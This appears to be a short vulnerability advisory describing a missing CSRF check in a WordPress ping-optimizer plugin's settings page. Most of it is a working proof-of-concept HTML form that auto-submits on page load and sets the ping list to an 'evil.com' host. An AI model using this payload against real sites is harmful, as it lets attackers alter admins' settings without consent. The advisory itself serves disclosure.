The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack
<form id="test" action="https://example.com/wp-admin/options-general.php?page=wordpress-ping-optimizer%2Fcbnet-ping-optimizer.php" method="POST">
<textarea name="cbnetpo[uris]">
http://evil.com
aaaa
bbbb
</textarea>
<input type="text" name="cbnetpo[ping]" value="1">
<input type="text" name="cbnetpo[limit_number]" value="1">
<input type="text" name="cbnetpo[limit_time]" value="15">
<input type="text" name="cbnetpo[save]" value="Save Settings">
</form>
<script>
document.getElementById("test").submit();
</script>